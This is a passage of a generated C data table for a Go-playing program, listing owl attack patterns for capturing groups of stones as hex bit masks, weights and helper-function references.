0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat105,10,8, "A606",0,-2,1,2,1,4,0x2,1,0, { 0x007fff00, 0xd0f0f0f0, 0xfdf70000, 0x3c3c1c34, 0xf0f0d070, 0xff7f0000, 0x1c3c3c3c, 0x00f7fd00}, { 0x00214000, 0x40200010, 0x04220000, 0x00200420, 0x00204020, 0x40210000, 0x04200010, 0x00220400} , 0x1000010,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat105,3,0.610000}, {owl_attackpat106,6,8, "A607",0,-1,1,1,1,2,0x2,1,0, { 0x007cfc00, 0xd0f0f000, 0xfcf40000, 0x3c3c1c00, 0xf0f0d000, 0xfc7c0000, 0x1c3c3c00, 0x00f4fc00}, { 0x00240000, 0x00201000, 0x00600000, 0x10200000, 0x10200000, 0x00240000, 0x00201000, 0x00600000} , 0x1000010,36.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat106,3,1.006000}, {owl_attackpat107,6,8, "A607b",0,-1,1,1,1,2,0x2,1,0, { 0x007cfc00, 0xd0f0f000, 0xfcf40000, 0x3c3c1c00, 0xf0f0d000, 0xfc7c0000, 0x1c3c3c00, 0x00f4fc00}, { 0x00240400, 0x00205000, 0x40600000, 0x14200000, 0x50200000, 0x04240000, 0x00201400, 0x00604000} , 0x1000000,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat107,3,1.006000}, {owl_attackpat108,6,8, "A608",0,-1,1,1,1,2,0x2,1,0, { 0x007cfc00, 0xd0f0f000, 0xfcf40000, 0x3c3c1c00, 0xf0f0d000, 0xfc7c0000, 0x1c3c3c00, 0x00f4fc00}, { 0x00240000, 0x00201000, 0x00600000, 0x10200000, 0x10200000, 0x00240000, 0x00201000, 0x00600000} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat108,3,0.378160}, {owl_attackpat109,6,4, "A609",0,-1,1,1,1,2,0x2,1,0, { 0x00fcfc00, 0xf0f0f000, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xfcfc0000, 0x3c3c3c00, 0x00fcfc00}, { 0x00980000, 0x20102000, 0x00980000, 0x20102000, 0x20102000, 0x00980000, 0x20102000, 0x00980000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat110,7,8, "A610",0,-2,1,1,1,3,0x2,1,-1, { 0x00fcf000, 0xf0f03000, 0x3fff0000, 0x303c3c3c, 0x30f0f0f0, 0xf0fc0000, 0x3c3c3000, 0x00ff3f00}, { 0x00240000, 0x00201000, 0x00620000, 0x10200020, 0x10200020, 0x00240000, 0x00201000, 0x00620000} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat110,3,1.000000}, {owl_attackpat111,10,8, "A611",-1,-1,1,2,2,3,0x2,1,1, { 0x34ffff00, 0xf0fcf4f0, 0xfcfc7000, 0x7cfc3c00, 0xf4fcf000, 0xffff3400, 0x3cfc7c3c, 0x70fcfc00}, { 0x10a24000, 0x60240020, 0x04281000, 0x00602400, 0x00246000, 0x40a21000, 0x24600020, 0x10280400} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat111,3,0.010000}, {owl_attackpat112,11,8, "A612",-1,-1,1,2,2,3,0x2,1,-1, { 0xbcffff00, 0xf8fcfcf0, 0xfcfcf800, 0xfcfcbc00, 0xfcfcf800, 0xffffbc00, 0xbcfcfc3c, 0xf8fcfc00}, { 0x18622100, 0x10a40860, 0x20249000, 0x80681000, 0x08a41000, 0x21621800, 0x10688024, 0x90242000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat112,3,0.010000}, {owl_attackpat113,11,8, "A613",-1,-2,1,1,2,3,0x2,1,0, { 0xf0fcfc00, 0xfcfcf000, 0xffff3f00, 0x3cfcfcfc, 0xf0fcfcfc, 0xfcfcf000, 0xfcfc3c00, 0x3fffff00}, { 0x20240000, 0x00281000, 0x00602200, 0x10a00080, 0x10280008, 0x00242000, 0x00a01000, 0x22600000} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat113,3,1.000000}, {owl_attackpat114,11,8, "A614",-1,-2,1,1,2,3,0x2,1,0, { 0xf0fcfc00, 0xfcfcf000, 0xffff3f00, 0x3cfcfcfc, 0xf0fcfcfc, 0xfcfcf000, 0xfcfc3c00, 0x3fffff00}, { 0x90240000, 0x08241000, 0x02601a00, 0x10608088, 0x10240888, 0x00249000, 0x80601000, 0x1a600200} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat114,3,1.000000}, {owl_attackpat115,11,8, "A615",0,-2,2,2,2,4,0x2,2,0, { 0x00fffcfc, 0xf0f0f030, 0xfcff0000, 0x3f3f3f30, 0xf0f0f030, 0xfcff0000, 0x3f3f3f30, 0x00fffcfc}, { 0x00a90000, 0x20202010, 0x00a90000, 0x20202010, 0x20202010, 0x00a90000, 0x20202010, 0x00a90000} , 0x1000010,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat115,3,0.010000}, {owl_attackpat116,12,8, "A616",-1,-2,2,1,3,3,0x4,1,1, { 0xf8fc7c7c, 0x7cfcf800, 0xf4fcbc00, 0xbffff500, 0xf8fc7c00, 0x7cfcf800, 0xf5ffbf00, 0xbcfcf4f4}, { 0x90200000, 0x08240000, 0x00201800, 0x00608000, 0x00240800, 0x00209000, 0x80600000, 0x18200000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat116,3,1.011760}, {owl_attackpat117,11,8, "A617",-1,0,2,2,3,2,0x2,2,1, { 0x3c3f3f3f, 0x00fcfcf0, 0xf0f0f000, 0xffff0000, 0xfcfc0000, 0x3f3f3c00, 0x00ffff3f, 0xf0f0f0f0}, { 0x18222120, 0x00a40860, 0x20209000, 0x806a0000, 0x08a40000, 0x21221800, 0x006a8024, 0x90202020} , 0x1000010,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat117,3,0.010000}, {owl_attackpat118,9,8, "A618",-1,-1,1,1,2,2,0x2,1,1, { 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00}, { 0xa4988000, 0xa8182400, 0x08986800, 0x6090a800, 0x2418a800, 0x8098a400, 0xa8906000, 0x68980800} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat118,0,3.000000}, {owl_attackpat119,4,8, "A619",0,-1,1,0,1,1,0xa,1,0, { 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0x003c3c00}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat120,11,8, "A701",-1,-2,1,1,2,3,0x0,1,0, { 0xf8fcfc00, 0xfcfcf800, 0xffffbc00, 0xbcfcfc3c, 0xf8fcfcf0, 0xfcfcf800, 0xfcfcbc00, 0xbcffff00}, { 0x90240000, 0x08241000, 0x00621800, 0x10608020, 0x10240820, 0x00249000, 0x80601000, 0x18620000} , 0x1000000,79.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat120,3,0.010000}, {owl_attackpat121,12,8, "A702",-1,-2,2,1,3,3,0x0,1,0, { 0xf8fcfc10, 0xfcfcf800, 0xffffbc00, 0xbcfdfc3c, 0xf8fcfcf0, 0xfcfcf800, 0xfcfdbc00, 0xbcffff10}, { 0x90240400, 0x08245000, 0x40621800, 0x14608020, 0x50240820, 0x04249000, 0x80601400, 0x18624000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat121,3,0.010000}, {owl_attackpat122,9,8, "A703",0,-1,2,2,2,3,0x0,1,0, { 0x003cff3d, 0xc0f0f0c0, 0xfcf00000, 0x3f3f0c00, 0xf0f0c000, 0xff3c0000, 0x0c3f3f0d, 0x00f0fcf0}, { 0x00284200, 0x40202080, 0x04a00000, 0x20200400, 0x20204000, 0x42280000, 0x04202008, 0x00a00400} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat123,9,8, "A704",-1,-1,1,2,2,3,0x0,1,0, { 0x3cfffc00, 0xf0fcfc30, 0xfcfcf000, 0xfcfc3c00, 0xfcfcf000, 0xfcff3c00, 0x3cfcfc30, 0xf0fcfc00}, { 0x18660000, 0x10241820, 0x00649000, 0x90601000, 0x18241000, 0x00661800, 0x10609020, 0x90640000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat124,5,4, "A705b",-1,0,1,2,2,2,0x0,0,1, { 0x0c3f0c00, 0x0030fc30, 0xc0f0c000, 0xfc300000, 0xfc300000, 0x0c3f0c00, 0x0030fc30, 0xc0f0c000}, { 0x00220000, 0x00200020, 0x00200000, 0x00200000, 0x00200000, 0x00220000, 0x00200020, 0x00200000} , 0x1000000,61.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat124,3,0.400000}, {owl_attackpat125,6,8, "A706",-1,0,1,2,2,2,0x0,-1,1, { 0x0c3f0f00, 0x0030fcf0, 0xc0f0c000, 0xfc300000, 0xfc300000, 0x0f3f0c00, 0x0030fc3c, 0xc0f0c000}, { 0x00220800, 0x00208020, 0x80200000, 0x08200000, 0x80200000, 0x08220000, 0x00200820, 0x00208000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat125,3,0.016000}, {owl_attackpat126,7,8, "A707",-1,0,1,2,2,2,0x0,0,1, { 0x0c3f3f00, 0x00f0fcf0, 0xf0f0c000, 0xfc3c0000, 0xfcf00000, 0x3f3f0c00, 0x003cfc3c, 0xc0f0f000}, { 0x04220800, 0x00208420, 0x80204000, 0x48200000, 0x84200000, 0x08220400, 0x00204820, 0x40208000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat126,3,0.019600}, {owl_attackpat127,6,8, "A708",0,-1,2,1,2,2,0x0,0,1, { 0x003c7c10, 0x40f0f000, 0xf4f00000, 0x3c3d0400, 0xf0f04000, 0x7c3c0000, 0x043d3c00, 0x00f0f410}, { 0x00200800, 0x00208000, 0x80200000, 0x08200000, 0x80200000, 0x08200000, 0x00200800, 0x00208000} , 0x1000020,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat127,3,0.610000}, {owl_attackpat128,7,8, "A709",-1,0,1,2,2,2,0x0,0,2, { 0x1f3f0400, 0x00347c3c, 0x40f0d000, 0xf4700000, 0x7c340000, 0x043f1f00, 0x0070f4f0, 0xd0f04000}, { 0x08200000, 0x00200800, 0x00208000, 0x80200000, 0x08200000, 0x00200800, 0x00208000, 0x80200000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat128,3,1.186000}, {owl_attackpat129,6,8, "A710",0,-1,2,1,2,2,0x0,0,1, { 0x003c7c10, 0x40f0f000, 0xf4f00000, 0x3c3d0400, 0xf0f04000, 0x7c3c0000, 0x043d3c00, 0x00f0f410}, { 0x00200800, 0x00208000, 0x80200000, 0x08200000, 0x80200000, 0x08200000, 0x00200800, 0x00208000} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat129,3,0.016000}, {owl_attackpat130,11,8, "A711",-1,0,1,3,2,3,0x0,-1,1, { 0x3f3f1f00, 0x007cfcfc, 0xd0f0f000, 0xfcf40000, 0xfc7c0000, 0x1f3f3f00, 0x00f4fcfc, 0xf0f0d000}, { 0x10200a00, 0x00248080, 0x80201000, 0x08600000, 0x80240000, 0x0a201000, 0x00600808, 0x10208000} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat131,13,8, "A712",0,-1,3,2,3,3,0x0,2,0, { 0x003cffff, 0xc0f0f0c0, 0xfcf00000, 0x3f3f0f00, 0xf0f0c000, 0xff3c0000, 0x0f3f3f0f, 0x00f0fcfc}, { 0x00280202, 0x00202080, 0x00a00000, 0x20200000, 0x20200000, 0x02280000, 0x0020200a, 0x00a00000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat132,11,8, "A713",-1,0,2,2,3,2,0x0,2,1, { 0x3c3f3f1d, 0x00fcfcf0, 0xf0f0f000, 0xfffd0000, 0xfcfc0000, 0x3f3f3c00, 0x00fdff3d, 0xf0f0f0d0}, { 0x14222200, 0x00a404a0, 0x20205000, 0x40680000, 0x04a40000, 0x22221400, 0x00684028, 0x50202000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat132,3,1.600000}, {owl_attackpat133,14,8, "A714",0,-1,3,2,3,3,0x0,2,0, { 0x003cfffd, 0xc0f0f0c0, 0xfcf00000, 0x3f3f0f00, 0xf0f0c000, 0xff3c0000, 0x0f3f3f0d, 0x00f0fcfc}, { 0x00284280, 0x40202080, 0x04a00000, 0x20200600, 0x20204000, 0x42280000, 0x06202008, 0x00a00408} , 0x1000000,82.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat133,3,0.010000}, {owl_attackpat134,10,8, "A715",0,-2,2,1,2,3,0x0,0,-1, { 0x00fcf47c, 0xf0f07000, 0x7dfc0000, 0x373f3d04, 0x70f0f040, 0xf4fc0000, 0x3d3f3700, 0x00fc7df4}, { 0x00280024, 0x00202000, 0x00a00000, 0x21220000, 0x20200000, 0x00280000, 0x00222100, 0x00a00060} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat134,3,0.376000}, {owl_attackpat135,9,8, "A716",-1,0,1,2,2,2,0x0,-1,1, { 0x3d3f1d00, 0x007cfc74, 0xd0f0f000, 0xfcf40000, 0xfc7c0000, 0x1d3f3d00, 0x00f4fc74, 0xf0f0d000}, { 0x10220800, 0x00248020, 0x80201000, 0x08600000, 0x80240000, 0x08221000, 0x00600820, 0x10208000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat135,3,1.000000}, {owl_attackpat136,8,8, "A717",-1,-1,1,2,2,3,0x0,0,1, { 0x30ff3f00, 0x30fcf0f0, 0xf0fc3000, 0x3cfc3000, 0xf0fc3000, 0x3fff3000, 0x30fc3c3c, 0x30fcf000}, { 0x00922200, 0x209000a0, 0x20180000, 0x00182000, 0x00902000, 0x22920000, 0x20180028, 0x00182000} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat136,0,0.610000}, {owl_attackpat137,10,8, "A718",0,-1,2,2,2,3,0x0,1,1, { 0x00747f74, 0x50f0d0c0, 0xf4740000, 0x1d3f1500, 0xd0f05000, 0x7f740000, 0x153f1d0c, 0x0074f474}, { 0x00200120, 0x00200040, 0x00200000, 0x00220000, 0x00200000, 0x01200000, 0x00220004, 0x00200020} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat137,3,1.000000}, {owl_attackpat138,11,8, "A801",-1,-1,1,2,2,3,0x2,1,1, { 0x1d7fff00, 0xd0f4fcf4, 0xfcf4d000, 0xfc7c1c00, 0xfcf4d000, 0xff7f1d00, 0x1c7cfc7c, 0xd0f4fc00}, { 0x08228100, 0x80200860, 0x08208000, 0x80200800, 0x08208000, 0x81220800, 0x08208024, 0x80200800} , 0x1000020,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat139,9,8, "A802",-1,0,1,2,2,2,0x2,1,1, { 0x1d3f3f00, 0x00f4fcf4, 0xf0f0d000, 0xfc7c0000, 0xfcf40000, 0x3f3f1d00, 0x007cfc7c, 0xd0f0f000}, { 0x08220100, 0x00200860, 0x00208000, 0x80200000, 0x08200000, 0x01220800, 0x00208024, 0x80200000} , 0x1000020,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat140,11,8, "A803",-1,-1,1,2,2,3,0x2,1,1, { 0x5cbfff00, 0xe4f4fcf0, 0xfcf8d400, 0xfc7c6c00, 0xfcf4e400, 0xffbf5c00, 0x6c7cfc3c, 0xd4f8fc00}, { 0x08190000, 0x00102810, 0x00908000, 0xa0100000, 0x28100000, 0x00190800, 0x0010a010, 0x80900000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat140,0,1.600000}, {owl_attackpat141,7,8, "A804",0,-1,1,2,1,3,0x2,1,0, { 0x00fcfa00, 0xf0f0b080, 0xbcfc0000, 0x383c3c00, 0xb0f0f000, 0xfafc0000, 0x3c3c3808, 0x00fcbc00}, { 0x00244000, 0x40201000, 0x04600000, 0x10200400, 0x10204000, 0x40240000, 0x04201000, 0x00600400} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat141,3,1.000000}, {owl_attackpat142,14,8, "A805",-1,-2,1,2,2,4,0x2,1,1, { 0x5cbfff00, 0xe4f4fcf0, 0xfffbd700, 0xfc7c6cfc, 0xfcf4e4fc, 0xffbf5c00, 0x6c7cfc3c, 0xd7fbff00}, { 0x08190000, 0x00102810, 0x00908200, 0xa0100080, 0x28100008, 0x00190800, 0x0010a010, 0x82900000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat143,12,8, "A806",-1,-1,1,2,2,3,0x2,0,1, { 0xffffff00, 0xfcfcfcfc, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xffffff00, 0xfcfcfcfc, 0xfcfcfc00}, { 0x42600000, 0x14200008, 0x00240400, 0x00205000, 0x00201400, 0x00604200, 0x50200080, 0x04240000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat144,8,8, "A807",-1,-1,1,1,2,2,0x2,0,1, { 0x3cfcfc00, 0xf0fcfc00, 0xfcfcf000, 0xfcfc3c00, 0xfcfcf000, 0xfcfc3c00, 0x3cfcfc00, 0xf0fcfc00}, { 0x20601000, 0x10680000, 0x10242000, 0x00a41000, 0x00681000, 0x10602000, 0x10a40000, 0x20241000} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat145,8,8, "A808",0,-1,1,2,1,3,0xa,1,-1, { 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xffff0000, 0x3c3c3c3c, 0x00fcfc00}, { 0x00192400, 0x00906010, 0x60900000, 0x24180000, 0x60900000, 0x24190000, 0x00182410, 0x00906000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat146,13,8, "A809",-1,-2,1,2,2,4,0x2,1,0, { 0xfcfcff00, 0xfcfcfcc0, 0xffffff00, 0xfcfcfcfc, 0xfcfcfcfc, 0xfffcfc00, 0xfcfcfc0c, 0xffffff00}, { 0x84240000, 0x08201400, 0x01614a00, 0x50208094, 0x14200858, 0x00248400, 0x80205000, 0x4a610100} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat146,3,0.010000}, {owl_attackpat147,5,8, "A810",-1,0,1,2,2,2,0x0,1,1, { 0x0c3f0c00, 0x0030fc30, 0xc0f0c000, 0xfc300000, 0xfc300000, 0x0c3f0c00, 0x0030fc30, 0xc0f0c000}, { 0x04220000, 0x00200420, 0x00204000, 0x40200000, 0x04200000, 0x00220400, 0x00204020, 0x40200000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat147,3,0.610000}, {owl_attackpat148,8,8, "A811",-1,0,1,2,2,2,0x0,1,1, { 0x3c3f3f00, 0x00fcfcf0, 0xf0f0f000, 0xfcfc0000, 0xfcfc0000, 0x3f3f3c00, 0x00fcfc3c, 0xf0f0f000}, { 0x08220200, 0x002008a0, 0x00208000, 0x80200000, 0x08200000, 0x02220800, 0x00208028, 0x80200000} , 0x1000010,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat148,3,0.019600}, {owl_attackpat149,9,8, "A901",-1,-1,1,2,2,3,0xa,1,-1, { 0xc0ffff00, 0xfcf0f0f0, 0xfcfc0c00, 0x3c3cfc00, 0xf0f0fc00, 0xffffc000, 0xfc3c3c3c, 0x0cfcfc00}, { 0x806a1200, 0x186020a0, 0x10a40800, 0x20249000, 0x20601800, 0x126a8000, 0x90242028, 0x08a41000} , 0x1000010,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat150,6,8, "A902",0,-1,1,1,1,2,0x2,1,0, { 0x00fcfc00, 0xf0f0f000, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xfcfc0000, 0x3c3c3c00, 0x00fcfc00}, { 0x00984400, 0x60106000, 0x44980000, 0x24102400, 0x60106000, 0x44980000, 0x24102400, 0x00984400} , 0x1000010,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat150,0,0.019600}, {owl_attackpat151,6,8, "A902b",0,-1,1,1,1,2,0x2,1,0, { 0x00fcfc00, 0xf0f0f000, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xfcfc0000, 0x3c3c3c00, 0x00fcfc00}, { 0x00984400, 0x60106000, 0x44980000, 0x24102400, 0x60106000, 0x44980000, 0x24102400, 0x00984400} , 0x1000010,30.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat151,0,0.019600}, {owl_attackpat152,11,8, "A903",-1,-1,1,2,2,3,0xa,1,1, { 0x7cffff00, 0xf4fcfcf0, 0xfcfcf400, 0xfcfc7c00, 0xfcfcf400, 0xffff7c00, 0x7cfcfc3c, 0xf4fcfc00}, { 0x28120000, 0x00180820, 0x0010a000, 0x80900000, 0x08180000, 0x00122800, 0x00908020, 0xa0100000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat153,8,8, "A904",-1,-1,1,1,2,2,0xa,1,-1, { 0xf0fcf400, 0xfcfc7000, 0x7cfc3c00, 0x34fcfc00, 0x70fcfc00, 0xf4fcf000, 0xfcfc3400, 0x3cfc7c00}, { 0x60980000, 0x24182000, 0x00982400, 0x20906000, 0x20182400, 0x00986000, 0x60902000, 0x24980000} , 0x1000010,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat153,0,0.016000}, {owl_attackpat154,9,8, "A905",-1,-1,1,1,2,2,0xa,1,-1, { 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00}, { 0x48980000, 0x24102800, 0x00988400, 0xa0106000, 0x28102400, 0x00984800, 0x6010a000, 0x84980000} , 0x1000010,36.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat155,13,8, "A907",-1,-1,2,2,3,3,0xa,1,-1, { 0xf0fcfdff, 0xfcfcf040, 0xfcfc3c00, 0x3fffff00, 0xf0fcfc00, 0xfdfcf000, 0xffff3f07, 0x3cfcfcfc}, { 0x20680800, 0x1028a000, 0x80a42000, 0x28a01000, 0xa0281000, 0x08682000, 0x10a02800, 0x20a48000} , 0x1000010,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat155,3,1.000000}, {owl_attackpat156,11,8, "A908",-1,-1,2,2,3,3,0xa,2,0, { 0xc0fcfcff, 0xfcf0f000, 0xfcfc0c00, 0x3f3fff00, 0xf0f0fc00, 0xfcfcc000, 0xff3f3f03, 0x0cfcfcfc}, { 0x80681842, 0x1860a000, 0x90a40800, 0x28249100, 0xa0601800, 0x18688000, 0x91242802, 0x08a49004} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat156,3,0.050000}, {owl_attackpat157,11,8, "A909",-1,-1,2,1,3,2,0xa,2,-1, { 0xf0fcfcfc, 0xfcfcf000, 0xfcfc3c00, 0x3fffff00, 0xf0fcfc00, 0xfcfcf000, 0xffff3f00, 0x3cfcfcfc}, { 0x20689810, 0x9068a000, 0x98a42000, 0x28a51800, 0xa0689000, 0x98682000, 0x18a52800, 0x20a49810} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat158,6,8, "A910",0,-1,1,1,1,2,0x6,1,0, { 0x00fcfc00, 0xf0f0f000, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xfcfc0000, 0x3c3c3c00, 0x00fcfc00}, { 0x00a80000, 0x20202000, 0x00a80000, 0x20202000, 0x20202000, 0x00a80000, 0x20202000, 0x00a80000} , 0x1000010,25.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat158,3,0.010000}, {owl_attackpat159,8,8, "A911",0,-2,1,1,1,3,0x6,1,0, { 0x00f8fc00, 0xf0f0e000, 0xffbf0000, 0x2c3c3c3c, 0xe0f0f0f0, 0xfcf80000, 0x3c3c2c00, 0x00bfff00}, { 0x00200000, 0x00200000, 0x02220000, 0x00200028, 0x002000a0, 0x00200000, 0x00200000, 0x00220200} , 0x1000010,25.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat159,3,0.010000}, {owl_attackpat160,12,8, "A912",-1,-2,1,1,2,3,0x2,1,-1, { 0xf8fcfc00, 0xfcfcf800, 0xffffbf00, 0xbcfcfcfc, 0xf8fcfcfc, 0xfcfcf800, 0xfcfcbc00, 0xbfffff00}, { 0x90240000, 0x08241000, 0x00621900, 0x10608060, 0x10240824, 0x00249000, 0x80601000, 0x19620000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat161,8,8, "A913",0,-1,1,2,1,3,0x2,1,1, { 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xffff0000, 0x3c3c3c3c, 0x00fcfc00}, { 0x00a28000, 0xa0200020, 0x08280000, 0x00202800, 0x0020a000, 0x80a20000, 0x28200020, 0x00280800} , 0x1000010,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat161,3,0.610000}, {owl_attackpat162,8,8, "A914",0,-1,1,2,1,3,0x2,1,1, { 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xffff0000, 0x3c3c3c3c, 0x00fcfc00}, { 0x00a28000, 0xa0200020, 0x08280000, 0x00202800, 0x0020a000, 0x80a20000, 0x28200020, 0x00280800} , 0x1000010,25.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat162,3,1.000000}, {owl_attackpat163,15,8, "A915",0,-2,2,2,2,4,0x2,1,-1, { 0x00fafeff, 0xf0f0e0a0, 0xffbf0000, 0x2f3f3f3f, 0xe0f0f0f0, 0xfefa0000, 0x3f3f2f2b, 0x00bfffff}, { 0x00200800, 0x00208000, 0x80220000, 0x08200020, 0x80200020, 0x08200000, 0x00200800, 0x00228000} , 0x1000010,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat163,3,0.010000}, {owl_attackpat164,10,8, "A916",-1,-1,1,2,2,3,0x2,1,1, { 0x0dffff00, 0xf0f0fcf4, 0xfcfcc000, 0xfc3c3c00, 0xfcf0f000, 0xffff0d00, 0x3c3cfc7c, 0xc0fcfc00}, { 0x08a20000, 0x20200820, 0x00288000, 0x80202000, 0x08202000, 0x00a20800, 0x20208020, 0x80280000} , 